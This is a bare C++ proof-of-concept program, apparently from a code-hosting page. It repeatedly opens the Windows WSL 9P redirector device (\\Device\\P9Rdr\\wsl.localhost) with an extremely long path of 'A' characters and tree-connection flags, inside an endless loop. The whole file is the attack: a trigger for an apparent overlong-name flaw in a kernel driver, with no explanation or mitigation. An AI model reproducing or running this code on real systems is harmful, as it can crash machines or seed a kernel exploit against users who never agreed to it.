52 lines
1.6 KiB
C++
52 lines
1.6 KiB
C++
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#include <iostream>
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#include <Windows.h>
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#include "ntdll.h"
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#pragma comment(lib, "ntdll")
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HANDLE OpenDevice() {
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HANDLE hDevice = NULL;
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UNICODE_STRING usName = { 0 };
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//PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AA";
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PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\dd";
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RtlInitUnicodeString(&usName, (PWSTR)lpcwName);
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OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
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InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);
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IO_STATUS_BLOCK IoStatusBlock = { 0 };
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NTSTATUS Status = NtCreateFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0,
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FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
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printf("OpenDevice Status=0x%x\t\tlpcwName=%ls\t\tDevice=0x%0x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, lpcwName, hDevice, GetLastError(), IoStatusBlock.Information);
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return hDevice;
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}
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void HostMain() {
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while (1) {
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OpenDevice();
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}
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}
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int wmain(int argc, WCHAR* argv[])
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{
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HostMain();
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return 0;
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}
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int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
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PWSTR szCmdLine, int iCmdShow)
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{
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return wmain(__argc, __wargv);
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} |